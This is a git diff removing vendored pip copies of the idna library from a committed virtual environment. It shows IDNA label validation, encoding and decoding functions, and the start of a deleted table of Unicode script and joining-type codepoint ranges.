-    :returns: ``True`` if the codepoint at ``pos`` satisfies its CONTEXTJ
-        rule, ``False`` otherwise (including when the codepoint at
-        ``pos`` is not a recognised joiner).
-    :raises ValueError: If an adjacent codepoint has no Unicode name when
-        determining its combining class.
-    :raises IDNAError: If ``label`` exceeds the defensive input length limit.
-    """
-    if len(label) > _max_input_length:
-        raise IDNAError("Label too long")
-    cp_value = ord(label[pos])
-
-    if cp_value == 0x200C:
-        if pos > 0 and _combining_class(ord(label[pos - 1])) == _virama_combining_class:
-            return True
-
-        ok = False
-        for i in range(pos - 1, -1, -1):
-            joining_type = _joining_type(ord(label[i]))
-            if joining_type == "T":
-                continue
-            if joining_type in _bidi_joiner_l_or_d:
-                ok = True
-                break
-            break
-
-        if not ok:
-            return False
-
-        ok = False
-        for i in range(pos + 1, len(label)):
-            joining_type = _joining_type(ord(label[i]))
-            if joining_type == "T":
-                continue
-            if joining_type in _bidi_joiner_r_or_d:
-                ok = True
-                break
-            break
-        return ok
-
-    if cp_value == 0x200D:
-        return pos > 0 and _combining_class(ord(label[pos - 1])) == _virama_combining_class
-
-    return False
-
-
-def valid_contexto(label: str, pos: int, exception: bool = False) -> bool:
-    """Validate the CONTEXTO rules from :rfc:`5892` Appendix A.
-
-    Covers the contextual rules for codepoints such as MIDDLE DOT
-    (``U+00B7``), Greek lower numeral sign, Hebrew punctuation, Katakana
-    middle dot, and the Arabic-Indic / Extended Arabic-Indic digit ranges.
-
-    :param label: The label containing the codepoint.
-    :param pos: Index of the codepoint within ``label``.
-    :param exception: Reserved for forward compatibility; currently unused.
-    :returns: ``True`` if the codepoint at ``pos`` satisfies its CONTEXTO
-        rule, ``False`` otherwise (including when the codepoint is not a
-        recognised CONTEXTO codepoint).
-    :raises IDNAError: If ``label`` exceeds the defensive input length limit.
-    """
-    if len(label) > _max_input_length:
-        raise IDNAError("Label too long")
-    cp_value = ord(label[pos])
-
-    if cp_value == 0x00B7:
-        return 0 < pos < len(label) - 1 and ord(label[pos - 1]) == 0x006C and ord(label[pos + 1]) == 0x006C
-
-    if cp_value == 0x0375:
-        if pos < len(label) - 1 and len(label) > 1:
-            return _is_script(label[pos + 1], "Greek")
-        return False
-
-    if cp_value in {0x05F3, 0x05F4}:
-        if pos > 0:
-            return _is_script(label[pos - 1], "Hebrew")
-        return False
-
-    if cp_value == 0x30FB:
-        for cp in label:
-            if cp == "\u30fb":
-                continue
-            if _is_script(cp, "Hiragana") or _is_script(cp, "Katakana") or _is_script(cp, "Han"):
-                return True
-        return False
-
-    if 0x660 <= cp_value <= 0x669:
-        return not any(0x6F0 <= ord(cp) <= 0x06F9 for cp in label)
-
-    if 0x6F0 <= cp_value <= 0x6F9:
-        return not any(0x660 <= ord(cp) <= 0x0669 for cp in label)
-
-    return False
-
-
-def check_label(label: Union[str, bytes, bytearray]) -> None:
-    """Run the full set of IDNA 2008 validity checks on a single label.
-
-    Applies, in order: NFC normalisation (:func:`check_nfc`), hyphen
-    restrictions (:func:`check_hyphen_ok`), the no-leading-combiner rule
-    (:func:`check_initial_combiner`), per-codepoint validity (PVALID,
-    CONTEXTJ, CONTEXTO classes from :rfc:`5892`), and the Bidi Rule
-    (:func:`check_bidi`).
-
-    :param label: The label to validate. ``bytes`` or ``bytearray`` input
-        is decoded as UTF-8 first.
-    :raises IDNAError: If the label is empty or fails a structural rule.
-    :raises InvalidCodepoint: If the label contains a DISALLOWED or
-        UNASSIGNED codepoint.
-    :raises InvalidCodepointContext: If a CONTEXTJ or CONTEXTO codepoint
-        is not valid in its context.
-    :raises IDNABidiError: If the Bidi Rule is violated.
-    """
-    if len(label) > _max_input_length:
-        raise IDNAError("Label too long")
-    if isinstance(label, (bytes, bytearray)):
-        label = label.decode("utf-8")
-    if len(label) == 0:
-        raise IDNAError("Empty Label")
-
-    # Reject on domain length rather than label length so support some UTS 46
-    # use cases, still reducing processing of label contextual rules
-    if not valid_string_length(label, trailing_dot=True):
-        raise IDNAError("Label too long")
-
-    check_nfc(label)
-    check_hyphen_ok(label)
-    check_initial_combiner(label)
-
-    for pos, cp in enumerate(label):
-        cp_value = ord(cp)
-        if intranges_contain(cp_value, idnadata.codepoint_classes["PVALID"]):
-            continue
-        if intranges_contain(cp_value, idnadata.codepoint_classes["CONTEXTJ"]):
-            try:
-                if not valid_contextj(label, pos):
-                    raise InvalidCodepointContext(f"Joiner {_unot(cp_value)} not allowed at position {pos + 1} in {label!r}")
-            except ValueError as err:
-                raise IDNAError(
-                    f"Unknown codepoint adjacent to joiner {_unot(cp_value)} at position {pos + 1} in {label!r}"
-                ) from err
-        elif intranges_contain(cp_value, idnadata.codepoint_classes["CONTEXTO"]):
-            if not valid_contexto(label, pos):
-                raise InvalidCodepointContext(f"Codepoint {_unot(cp_value)} not allowed at position {pos + 1} in {label!r}")
-        else:
-            raise InvalidCodepoint(f"Codepoint {_unot(cp_value)} at position {pos + 1} of {label!r} not allowed")
-
-    check_bidi(label)
-
-
-def alabel(label: str) -> bytes:
-    """Convert a single U-label into its A-label form.
-
-    The result is the ASCII-Compatible Encoding (ACE) form per :rfc:`5891`
-    §4: the label is validated, Punycode-encoded, and prefixed with
-    ``xn--``. Pure ASCII labels that are already valid IDNA labels are
-    returned unchanged (as :class:`bytes`).
-
-    :param label: The label to convert, as a Unicode string.
-    :returns: The A-label as ASCII-encoded :class:`bytes`.
-    :raises IDNAError: If the label is invalid or the resulting A-label
-        exceeds 63 octets.
-    """
-    if len(label) > _max_input_length:
-        raise IDNAError("Label too long")
-    try:
-        label_bytes = label.encode("ascii")
-    except UnicodeEncodeError:
-        pass
-    else:
-        ulabel(label_bytes)
-        if not valid_label_length(label_bytes):
-            raise IDNAError("Label too long")
-        return label_bytes
-
-    check_label(label)
-    label_bytes = _alabel_prefix + _punycode(label)
-
-    if not valid_label_length(label_bytes):
-        raise IDNAError("Label too long")
-
-    return label_bytes
-
-
-def ulabel(label: Union[str, bytes, bytearray]) -> str:
-    """Convert a single A-label into its U-label form.
-
-    Performs the inverse of :func:`alabel`: an ``xn--``-prefixed label is
-    Punycode-decoded and validated. Labels that are already Unicode (or
-    plain ASCII without the ACE prefix) are validated and returned as a
-    Unicode string.
-
-    :param label: The label to convert. ``bytes`` or ``bytearray`` input
-        is treated as ASCII.
-    :returns: The U-label as a Unicode string.
-    :raises IDNAError: If the label is malformed or fails validation.
-    """
-    if len(label) > _max_input_length:
-        raise IDNAError("Label too long")
-    if not isinstance(label, (bytes, bytearray)):
-        try:
-            label_bytes = label.encode("ascii")
-        except UnicodeEncodeError:
-            check_label(label)
-            return label
-    else:
-        label_bytes = bytes(label)
-
-    label_bytes = label_bytes.lower()
-    if label_bytes.startswith(_alabel_prefix):
-        label_bytes = label_bytes[len(_alabel_prefix) :]
-        if not label_bytes:
-            raise IDNAError("Malformed A-label, no Punycode eligible content found")
-        if label_bytes.endswith(b"-"):
-            raise IDNAError("A-label must not end with a hyphen")
-    else:
-        check_label(label_bytes)
-        return label_bytes.decode("ascii")
-
-    try:
-        label = label_bytes.decode("punycode")
-    except UnicodeError as err:
-        raise IDNAError("Invalid A-label") from err
-    check_label(label)
-    return label
-
-
-def uts46_remap(domain: str, std3_rules: bool = True, transitional: bool = False) -> str:
-    """Apply the UTS #46 character mapping to a domain string.
-
-    Implements the mapping table from `UTS #46 §4
-    `_: each character is kept,
-    replaced, or rejected based on its status (``V``, ``M``, ``D``, ``3``,
-    ``I``). The result is returned in Normalisation Form C.
-
-    :param domain: The full domain name to remap.
-    :param std3_rules: If ``True``, apply the stricter STD3 ASCII rules
-        (status ``3`` codepoints raise instead of being kept or mapped).
-    :param transitional: If ``True``, use transitional processing (status
-        ``D`` codepoints are mapped instead of kept). Transitional
-        processing has been removed from UTS #46 and this option is
-        retained only for backwards compatibility.
-    :returns: The remapped domain, in Normalisation Form C.
-    :raises InvalidCodepoint: If the domain contains a disallowed
-        codepoint under the chosen rules.
-    :raises IDNAError: If ``domain`` exceeds the defensive input length limit.
-    """
-    if len(domain) > _max_input_length:
-        raise IDNAError("Domain too long")
-    from .uts46data import uts46_replacements, uts46_starts, uts46_statuses
-
-    output = ""
-
-    for pos, char in enumerate(domain):
-        code_point = ord(char)
-        i = code_point if code_point < 256 else bisect.bisect_right(uts46_starts, code_point) - 1
-        status = chr(uts46_statuses[i])
-        replacement: Optional[str] = uts46_replacements[i]
-
-        # UTS #46 §4: V is always valid, D is deviation (kept unless transitional),
-        # 3 is disallowed-STD3 (kept unmapped if std3_rules is off and no mapping).
-        keep_as_is = (
-            status == "V" or (status == "D" and not transitional) or (status == "3" and not std3_rules and replacement is None)
-        )
-        # M is mapped, 3-with-replacement and transitional D fall through to the
-        # same replacement output path.
-        use_replacement = replacement is not None and (
-            status == "M" or (status == "3" and not std3_rules) or (status == "D" and transitional)
-        )
-
-        if keep_as_is:
-            output += char
-        elif use_replacement:
-            assert replacement is not None  # narrowed by use_replacement
-            output += replacement
-        elif status == "I":
-            continue
-        else:
-            raise InvalidCodepoint(f"Codepoint {_unot(code_point)} not allowed at position {pos + 1} in {domain!r}")
-
-    return unicodedata.normalize("NFC", output)
-
-
-def encode(
-    s: Union[str, bytes, bytearray],
-    strict: bool = False,
-    uts46: bool = False,
-    std3_rules: bool = False,
-    transitional: bool = False,
-) -> bytes:
-    """Encode a Unicode domain name into its ASCII (A-label) form.
-
-    Splits the input on label separators (only ``U+002E`` if ``strict`` is
-    set; otherwise also IDEOGRAPHIC FULL STOP ``U+3002``, FULLWIDTH FULL
-    STOP ``U+FF0E``, and HALFWIDTH IDEOGRAPHIC FULL STOP ``U+FF61``),
-    encodes each label with :func:`alabel`, and rejoins them with ``.``.
-    Optionally pre-processes the input through :func:`uts46_remap`.
-
-    :param s: The domain name to encode.
-    :param strict: If ``True``, only ``U+002E`` is recognised as a label
-        separator.
-    :param uts46: If ``True``, apply UTS #46 mapping before encoding.
-    :param std3_rules: Forwarded to :func:`uts46_remap` when ``uts46`` is
-        ``True``.
-    :param transitional: Forwarded to :func:`uts46_remap` when ``uts46``
-        is ``True``. Deprecated: emits a :class:`DeprecationWarning` and
-        will be removed in a future version.
-    :returns: The encoded domain as ASCII :class:`bytes`.
-    :raises IDNAError: If the domain is empty, contains an invalid label,
-        or exceeds the maximum domain length.
-    """
-    if transitional:
-        warnings.warn(
-            "Transitional processing has been removed from UTS #46. "
-            "The transitional argument will be removed in a future version.",
-            DeprecationWarning,
-            stacklevel=2,
-        )
-    if not isinstance(s, str):
-        try:
-            s = str(s, "ascii")
-        except (UnicodeDecodeError, TypeError) as err:
-            raise IDNAError("should pass a unicode string to the function rather than a byte string.") from err
-    if len(s) > _max_input_length:
-        raise IDNAError("Domain too long")
-    if uts46:
-        s = uts46_remap(s, std3_rules, transitional)
-
-    # Reject inputs that exceed the maximum DNS domain length up-front
-    # to avoid expensive computation on long inputs.
-    if not valid_string_length(s, trailing_dot=True):
-        raise IDNAError("Domain too long")
-
-    trailing_dot = False
-    result = []
-    labels = s.split(".") if strict else _unicode_dots_re.split(s)
-    if not labels or labels == [""]:
-        raise IDNAError("Empty domain")
-    if labels[-1] == "":
-        del labels[-1]
-        trailing_dot = True
-    for label in labels:
-        s = alabel(label)
-        if s:
-            result.append(s)
-        else:
-            raise IDNAError("Empty label")
-    if trailing_dot:
-        result.append(b"")
-    s = b".".join(result)
-    if not valid_string_length(s, trailing_dot):
-        raise IDNAError("Domain too long")
-    return s
-
-
-def decode(
-    s: Union[str, bytes, bytearray],
-    strict: bool = False,
-    uts46: bool = False,
-    std3_rules: bool = False,
-    display: bool = False,
-) -> str:
-    """Decode an A-label-encoded domain name back to Unicode.
-
-    Splits the input on label separators (see :func:`encode` for the
-    rules), decodes each label with :func:`ulabel`, and rejoins them
-    with ``.``. Optionally pre-processes the input through
-    :func:`uts46_remap`.
-
-    :param s: The domain name to decode.
-    :param strict: If ``True``, only ``U+002E`` is recognised as a label
-        separator.
-    :param uts46: If ``True``, apply UTS #46 mapping before decoding.
-    :param std3_rules: Forwarded to :func:`uts46_remap` when ``uts46`` is
-        ``True``.
-    :param display: If ``True``, any ``xn--`` label that fails IDNA
-        validation is passed through unchanged (lowercased) rather than
-        aborting the whole call. Intended for "decode for display"
-        consumers (e.g. URL libraries, HTTP clients) that want to show
-        the user the label as it appears on the wire when it cannot be
-        rendered as Unicode. Matches the per-label recovery prescribed
-        by UTS #46 §4 and the WHATWG URL "domain to Unicode" algorithm.
-    :returns: The decoded domain as a Unicode string.
-    :raises IDNAError: If the input is not valid ASCII, contains an
-        invalid label, or is empty.
-    """
-    if not isinstance(s, str):
-        try:
-            s = str(s, "ascii")
-        except (UnicodeDecodeError, TypeError) as err:
-            raise IDNAError("Invalid ASCII in A-label") from err
-    if len(s) > _max_input_length:
-        raise IDNAError("Domain too long")
-    if uts46:
-        s = uts46_remap(s, std3_rules, False)
-    # Reject inputs that exceed the maximum DNS domain length up-front
-    # to avoid expensive computation on long inputs.
-    if not valid_string_length(s, trailing_dot=True):
-        raise IDNAError("Domain too long")
-    trailing_dot = False
-    result = []
-    labels = s.split(".") if strict else _unicode_dots_re.split(s)
-    if not labels or labels == [""]:
-        raise IDNAError("Empty domain")
-    if not labels[-1]:
-        del labels[-1]
-        trailing_dot = True
-    for label in labels:
-        try:
-            u = ulabel(label)
-        except IDNAError:
-            if display and label[:4].lower() == "xn--":
-                u = label.lower()
-            else:
-                raise
-        if u:
-            result.append(u)
-        else:
-            raise IDNAError("Empty label")
-    if trailing_dot:
-        result.append("")
-    return ".".join(result)
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/idnadata.py b/venv/Lib/site-packages/pip/_vendor/idna/idnadata.py
deleted file mode 100644
index f2ab38897bf1f8fc6f0db50f237edec68ca89295..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/idnadata.py
+++ /dev/null
@@ -1,1897 +0,0 @@
-# This file is automatically generated by tools/idna-data
-
-__version__ = "17.0.0"
-
-scripts = {
-    "Greek": (
-        0x37000000374,
-        0x37500000378,
-        0x37A0000037E,
-        0x37F00000380,
-        0x38400000385,
-        0x38600000387,
-        0x3880000038B,
-        0x38C0000038D,
-        0x38E000003A2,
-        0x3A3000003E2,
-        0x3F000000400,
-        0x1D2600001D2B,
-        0x1D5D00001D62,
-        0x1D6600001D6B,
-        0x1DBF00001DC0,
-        0x1F0000001F16,
-        0x1F1800001F1E,
-        0x1F2000001F46,
-        0x1F4800001F4E,
-        0x1F5000001F58,
-        0x1F5900001F5A,
-        0x1F5B00001F5C,
-        0x1F5D00001F5E,
-        0x1F5F00001F7E,
-        0x1F8000001FB5,
-        0x1FB600001FC5,
-        0x1FC600001FD4,
-        0x1FD600001FDC,
-        0x1FDD00001FF0,
-        0x1FF200001FF5,
-        0x1FF600001FFF,
-        0x212600002127,
-        0xAB650000AB66,
-        0x101400001018F,
-        0x101A0000101A1,
-        0x1D2000001D246,
-    ),
-    "Han": (
-        0x2E8000002E9A,
-        0x2E9B00002EF4,
-        0x2F0000002FD6,
-        0x300500003006,
-        0x300700003008,
-        0x30210000302A,
-        0x30380000303C,
-        0x340000004DC0,
-        0x4E000000A000,
-        0xF9000000FA6E,
-        0xFA700000FADA,
-        0x16FE200016FE4,
-        0x16FF000016FF7,
-        0x200000002A6E0,
-        0x2A7000002B81E,
-        0x2B8200002CEAE,
-        0x2CEB00002EBE1,
-        0x2EBF00002EE5E,
-        0x2F8000002FA1E,
-        0x300000003134B,
-        0x313500003347A,
-    ),
-    "Hebrew": (
-        0x591000005C8,
-        0x5D0000005EB,
-        0x5EF000005F5,
-        0xFB1D0000FB37,
-        0xFB380000FB3D,
-        0xFB3E0000FB3F,
-        0xFB400000FB42,
-        0xFB430000FB45,
-        0xFB460000FB50,
-    ),
-    "Hiragana": (
-        0x304100003097,
-        0x309D000030A0,
-        0x1B0010001B120,
-        0x1B1320001B133,
-        0x1B1500001B153,
-        0x1F2000001F201,
-    ),
-    "Katakana": (
-        0x30A1000030FB,
-        0x30FD00003100,
-        0x31F000003200,
-        0x32D0000032FF,
-        0x330000003358,
-        0xFF660000FF70,
-        0xFF710000FF9E,
-        0x1AFF00001AFF4,
-        0x1AFF50001AFFC,
-        0x1AFFD0001AFFF,
-        0x1B0000001B001,
-        0x1B1200001B123,
-        0x1B1550001B156,
-        0x1B1640001B168,
-    ),
-}
-
-
-joining_types = {
-    "C": (
-        0x64000000641,
-        0x7FA000007FB,
-        0x88300000886,
-        0x180A0000180B,
-        0x200D0000200E,
-    ),
-    "D": (
-        0x62000000621,
-        0x62600000627,
-        0x62800000629,
-        0x62A0000062F,
-        0x63300000640,
-        0x64100000648,
-        0x6490000064B,
-        0x66E00000670,
-        0x67800000688,
-        0x69A000006C0,
-        0x6C1000006C3,
-        0x6CC000006CD,
-        0x6CE000006CF,
-        0x6D0000006D2,
-        0x6FA000006FD,
-        0x6FF00000700,
-        0x71200000715,
-        0x71A0000071E,
-        0x71F00000728,
-        0x7290000072A,
-        0x72B0000072C,
-        0x72D0000072F,
-        0x74E00000759,
-        0x75C0000076B,
-        0x76D00000771,
-        0x77200000773,
-        0x77500000778,
-        0x77A00000780,
-        0x7CA000007EB,
-        0x84100000846,
-        0x84800000849,
-        0x84A00000854,
-        0x85500000856,
-        0x86000000861,
-        0x86200000866,
-        0x86800000869,
-        0x88600000887,
-        0x8890000088E,
-        0x88F00000890,
-        0x8A0000008AA,
-        0x8AF000008B1,
-        0x8B3000008B9,
-        0x8BA000008C9,
-        0x180700001808,
-        0x182000001879,
-        0x1887000018A9,
-        0x18AA000018AB,
-        0xA8400000A872,
-        0x10AC000010AC5,
-        0x10AD300010AD7,
-        0x10AD800010ADD,
-        0x10ADE00010AE1,
-        0x10AEB00010AEF,
-        0x10B8000010B81,
-        0x10B8200010B83,
-        0x10B8600010B89,
-        0x10B8A00010B8C,
-        0x10B8D00010B8E,
-        0x10B9000010B91,
-        0x10BAD00010BAF,
-        0x10D0100010D22,
-        0x10D2300010D24,
-        0x10EC300010EC5,
-        0x10EC600010EC8,
-        0x10F3000010F33,
-        0x10F3400010F45,
-        0x10F5100010F54,
-        0x10F7000010F74,
-        0x10F7600010F82,
-        0x10FB000010FB1,
-        0x10FB200010FB4,
-        0x10FB800010FB9,
-        0x10FBB00010FBD,
-        0x10FBE00010FC0,
-        0x10FC100010FC2,
-        0x10FC400010FC5,
-        0x10FCA00010FCB,
-        0x1E9000001E944,
-    ),
-    "L": (
-        0xA8720000A873,
-        0x10ACD00010ACE,
-        0x10AD700010AD8,
-        0x10D0000010D01,
-        0x10FCB00010FCC,
-    ),
-    "R": (
-        0x62200000626,
-        0x62700000628,
-        0x6290000062A,
-        0x62F00000633,
-        0x64800000649,
-        0x67100000674,
-        0x67500000678,
-        0x6880000069A,
-        0x6C0000006C1,
-        0x6C3000006CC,
-        0x6CD000006CE,
-        0x6CF000006D0,
-        0x6D2000006D4,
-        0x6D5000006D6,
-        0x6EE000006F0,
-        0x71000000711,
-        0x7150000071A,
-        0x71E0000071F,
-        0x72800000729,
-        0x72A0000072B,
-        0x72C0000072D,
-        0x72F00000730,
-        0x74D0000074E,
-        0x7590000075C,
-        0x76B0000076D,
-        0x77100000772,
-        0x77300000775,
-        0x7780000077A,
-        0x84000000841,
-        0x84600000848,
-        0x8490000084A,
-        0x85400000855,
-        0x85600000859,
-        0x86700000868,
-        0x8690000086B,
-        0x87000000883,
-        0x88E0000088F,
-        0x8AA000008AD,
-        0x8AE000008AF,
-        0x8B1000008B3,
-        0x8B9000008BA,
-        0x10AC500010AC6,
-        0x10AC700010AC8,
-        0x10AC900010ACB,
-        0x10ACE00010AD3,
-        0x10ADD00010ADE,
-        0x10AE100010AE2,
-        0x10AE400010AE5,
-        0x10AEF00010AF0,
-        0x10B8100010B82,
-        0x10B8300010B86,
-        0x10B8900010B8A,
-        0x10B8C00010B8D,
-        0x10B8E00010B90,
-        0x10B9100010B92,
-        0x10BA900010BAD,
-        0x10D2200010D23,
-        0x10EC200010EC3,
-        0x10F3300010F34,
-        0x10F5400010F55,
-        0x10F7400010F76,
-        0x10FB400010FB7,
-        0x10FB900010FBB,
-        0x10FBD00010FBE,
-        0x10FC200010FC4,
-        0x10FC900010FCA,
-    ),
-    "T": (
-        0xAD000000AE,
-        0x30000000370,
-        0x4830000048A,
-        0x591000005BE,
-        0x5BF000005C0,
-        0x5C1000005C3,
-        0x5C4000005C6,
-        0x5C7000005C8,
-        0x6100000061B,
-        0x61C0000061D,
-        0x64B00000660,
-        0x67000000671,
-        0x6D6000006DD,
-        0x6DF000006E5,
-        0x6E7000006E9,
-        0x6EA000006EE,
-        0x70F00000710,
-        0x71100000712,
-        0x7300000074B,
-        0x7A6000007B1,
-        0x7EB000007F4,
-        0x7FD000007FE,
-        0x8160000081A,
-        0x81B00000824,
-        0x82500000828,
-        0x8290000082E,
-        0x8590000085C,
-        0x897000008A0,
-        0x8CA000008E2,
-        0x8E300000903,
-        0x93A0000093B,
-        0x93C0000093D,
-        0x94100000949,
-        0x94D0000094E,
-        0x95100000958,
-        0x96200000964,
-        0x98100000982,
-        0x9BC000009BD,
-        0x9C1000009C5,
-        0x9CD000009CE,
-        0x9E2000009E4,
-        0x9FE000009FF,
-        0xA0100000A03,
-        0xA3C00000A3D,
-        0xA4100000A43,
-        0xA4700000A49,
-        0xA4B00000A4E,
-        0xA5100000A52,
-        0xA7000000A72,
-        0xA7500000A76,
-        0xA8100000A83,
-        0xABC00000ABD,
-        0xAC100000AC6,
-        0xAC700000AC9,
-        0xACD00000ACE,
-        0xAE200000AE4,
-        0xAFA00000B00,
-        0xB0100000B02,
-        0xB3C00000B3D,
-        0xB3F00000B40,
-        0xB4100000B45,
-        0xB4D00000B4E,
-        0xB5500000B57,
-        0xB6200000B64,
-        0xB8200000B83,
-        0xBC000000BC1,
-        0xBCD00000BCE,
-        0xC0000000C01,
-        0xC0400000C05,
-        0xC3C00000C3D,
-        0xC3E00000C41,
-        0xC4600000C49,
-        0xC4A00000C4E,
-        0xC5500000C57,
-        0xC6200000C64,
-        0xC8100000C82,
-        0xCBC00000CBD,
-        0xCBF00000CC0,
-        0xCC600000CC7,
-        0xCCC00000CCE,
-        0xCE200000CE4,
-        0xD0000000D02,
-        0xD3B00000D3D,
-        0xD4100000D45,
-        0xD4D00000D4E,
-        0xD6200000D64,
-        0xD8100000D82,
-        0xDCA00000DCB,
-        0xDD200000DD5,
-        0xDD600000DD7,
-        0xE3100000E32,
-        0xE3400000E3B,
-        0xE4700000E4F,
-        0xEB100000EB2,
-        0xEB400000EBD,
-        0xEC800000ECF,
-        0xF1800000F1A,
-        0xF3500000F36,
-        0xF3700000F38,
-        0xF3900000F3A,
-        0xF7100000F7F,
-        0xF8000000F85,
-        0xF8600000F88,
-        0xF8D00000F98,
-        0xF9900000FBD,
-        0xFC600000FC7,
-        0x102D00001031,
-        0x103200001038,
-        0x10390000103B,
-        0x103D0000103F,
-        0x10580000105A,
-        0x105E00001061,
-        0x107100001075,
-        0x108200001083,
-        0x108500001087,
-        0x108D0000108E,
-        0x109D0000109E,
-        0x135D00001360,
-        0x171200001715,
-        0x173200001734,
-        0x175200001754,
-        0x177200001774,
-        0x17B4000017B6,
-        0x17B7000017BE,
-        0x17C6000017C7,
-        0x17C9000017D4,
-        0x17DD000017DE,
-        0x180B0000180E,
-        0x180F00001810,
-        0x188500001887,
-        0x18A9000018AA,
-        0x192000001923,
-        0x192700001929,
-        0x193200001933,
-        0x19390000193C,
-        0x1A1700001A19,
-        0x1A1B00001A1C,
-        0x1A5600001A57,
-        0x1A5800001A5F,
-        0x1A6000001A61,
-        0x1A6200001A63,
-        0x1A6500001A6D,
-        0x1A7300001A7D,
-        0x1A7F00001A80,
-        0x1AB000001ADE,
-        0x1AE000001AEC,
-        0x1B0000001B04,
-        0x1B3400001B35,
-        0x1B3600001B3B,
-        0x1B3C00001B3D,
-        0x1B4200001B43,
-        0x1B6B00001B74,
-        0x1B8000001B82,
-        0x1BA200001BA6,
-        0x1BA800001BAA,
-        0x1BAB00001BAE,
-        0x1BE600001BE7,
-        0x1BE800001BEA,
-        0x1BED00001BEE,
-        0x1BEF00001BF2,
-        0x1C2C00001C34,
-        0x1C3600001C38,
-        0x1CD000001CD3,
-        0x1CD400001CE1,
-        0x1CE200001CE9,
-        0x1CED00001CEE,
-        0x1CF400001CF5,
-        0x1CF800001CFA,
-        0x1DC000001E00,
-        0x200B0000200C,
-        0x200E00002010,
-        0x202A0000202F,
-        0x206000002065,
-        0x206A00002070,
-        0x20D0000020F1,
-        0x2CEF00002CF2,
-        0x2D7F00002D80,
-        0x2DE000002E00,
-        0x302A0000302E,
-        0x30990000309B,
-        0xA66F0000A673,
-        0xA6740000A67E,
-        0xA69E0000A6A0,
-        0xA6F00000A6F2,
-        0xA8020000A803,
-        0xA8060000A807,
-        0xA80B0000A80C,
-        0xA8250000A827,
-        0xA82C0000A82D,
-        0xA8C40000A8C6,
-        0xA8E00000A8F2,
-        0xA8FF0000A900,
-        0xA9260000A92E,
-        0xA9470000A952,
-        0xA9800000A983,
-        0xA9B30000A9B4,
-        0xA9B60000A9BA,
-        0xA9BC0000A9BE,
-        0xA9E50000A9E6,
-        0xAA290000AA2F,
-        0xAA310000AA33,
-        0xAA350000AA37,
-        0xAA430000AA44,
-        0xAA4C0000AA4D,
-        0xAA7C0000AA7D,
-        0xAAB00000AAB1,
-        0xAAB20000AAB5,
-        0xAAB70000AAB9,
-        0xAABE0000AAC0,
-        0xAAC10000AAC2,
-        0xAAEC0000AAEE,
-        0xAAF60000AAF7,
-        0xABE50000ABE6,
-        0xABE80000ABE9,
-        0xABED0000ABEE,
-        0xFB1E0000FB1F,
-        0xFE000000FE10,
-        0xFE200000FE30,
-        0xFEFF0000FF00,
-        0xFFF90000FFFC,
-        0x101FD000101FE,
-        0x102E0000102E1,
-        0x103760001037B,
-        0x10A0100010A04,
-        0x10A0500010A07,
-        0x10A0C00010A10,
-        0x10A3800010A3B,
-        0x10A3F00010A40,
-        0x10AE500010AE7,
-        0x10D2400010D28,
-        0x10D6900010D6E,
-        0x10EAB00010EAD,
-        0x10EFA00010F00,
-        0x10F4600010F51,
-        0x10F8200010F86,
-        0x1100100011002,
-        0x1103800011047,
-        0x1107000011071,
-        0x1107300011075,
-        0x1107F00011082,
-        0x110B3000110B7,
-        0x110B9000110BB,
-        0x110C2000110C3,
-        0x1110000011103,
-        0x111270001112C,
-        0x1112D00011135,
-        0x1117300011174,
-        0x1118000011182,
-        0x111B6000111BF,
-        0x111C9000111CD,
-        0x111CF000111D0,
-        0x1122F00011232,
-        0x1123400011235,
-        0x1123600011238,
-        0x1123E0001123F,
-        0x1124100011242,
-        0x112DF000112E0,
-        0x112E3000112EB,
-        0x1130000011302,
-        0x1133B0001133D,
-        0x1134000011341,
-        0x113660001136D,
-        0x1137000011375,
-        0x113BB000113C1,
-        0x113CE000113CF,
-        0x113D0000113D1,
-        0x113D2000113D3,
-        0x113E1000113E3,
-        0x1143800011440,
-        0x1144200011445,
-        0x1144600011447,
-        0x1145E0001145F,
-        0x114B3000114B9,
-        0x114BA000114BB,
-        0x114BF000114C1,
-        0x114C2000114C4,
-        0x115B2000115B6,
-        0x115BC000115BE,
-        0x115BF000115C1,
-        0x115DC000115DE,
-        0x116330001163B,
-        0x1163D0001163E,
-        0x1163F00011641,
-        0x116AB000116AC,
-        0x116AD000116AE,
-        0x116B0000116B6,
-        0x116B7000116B8,
-        0x1171D0001171E,
-        0x1171F00011720,
-        0x1172200011726,
-        0x117270001172C,
-        0x1182F00011838,
-        0x118390001183B,
-        0x1193B0001193D,
-        0x1193E0001193F,
-        0x1194300011944,
-        0x119D4000119D8,
-        0x119DA000119DC,
-        0x119E0000119E1,
-        0x11A0100011A0B,
-        0x11A3300011A39,
-        0x11A3B00011A3F,
-        0x11A4700011A48,
-        0x11A5100011A57,
-        0x11A5900011A5C,
-        0x11A8A00011A97,
-        0x11A9800011A9A,
-        0x11B6000011B61,
-        0x11B6200011B65,
-        0x11B6600011B67,
-        0x11C3000011C37,
-        0x11C3800011C3E,
-        0x11C3F00011C40,
-        0x11C9200011CA8,
-        0x11CAA00011CB1,
-        0x11CB200011CB4,
-        0x11CB500011CB7,
-        0x11D3100011D37,
-        0x11D3A00011D3B,
-        0x11D3C00011D3E,
-        0x11D3F00011D46,
-        0x11D4700011D48,
-        0x11D9000011D92,
-        0x11D9500011D96,
-        0x11D9700011D98,
-        0x11EF300011EF5,
-        0x11F0000011F02,
-        0x11F3600011F3B,
-        0x11F4000011F41,
-        0x11F4200011F43,
-        0x11F5A00011F5B,
-        0x1343000013441,
-        0x1344700013456,
-        0x1611E0001612A,
-        0x1612D00016130,
-        0x16AF000016AF5,
-        0x16B3000016B37,
-        0x16F4F00016F50,
-        0x16F8F00016F93,
-        0x16FE400016FE5,
-        0x1BC9D0001BC9F,
-        0x1BCA00001BCA4,
-        0x1CF000001CF2E,
-        0x1CF300001CF47,
-        0x1D1670001D16A,
-        0x1D1730001D183,
-        0x1D1850001D18C,
-        0x1D1AA0001D1AE,
-        0x1D2420001D245,
-        0x1DA000001DA37,
-        0x1DA3B0001DA6D,
-        0x1DA750001DA76,
-        0x1DA840001DA85,
-        0x1DA9B0001DAA0,
-        0x1DAA10001DAB0,
-        0x1E0000001E007,
-        0x1E0080001E019,
-        0x1E01B0001E022,
-        0x1E0230001E025,
-        0x1E0260001E02B,
-        0x1E08F0001E090,
-        0x1E1300001E137,
-        0x1E2AE0001E2AF,
-        0x1E2EC0001E2F0,
-        0x1E4EC0001E4F0,
-        0x1E5EE0001E5F0,
-        0x1E6E30001E6E4,
-        0x1E6E60001E6E7,
-        0x1E6EE0001E6F0,
-        0x1E6F50001E6F6,
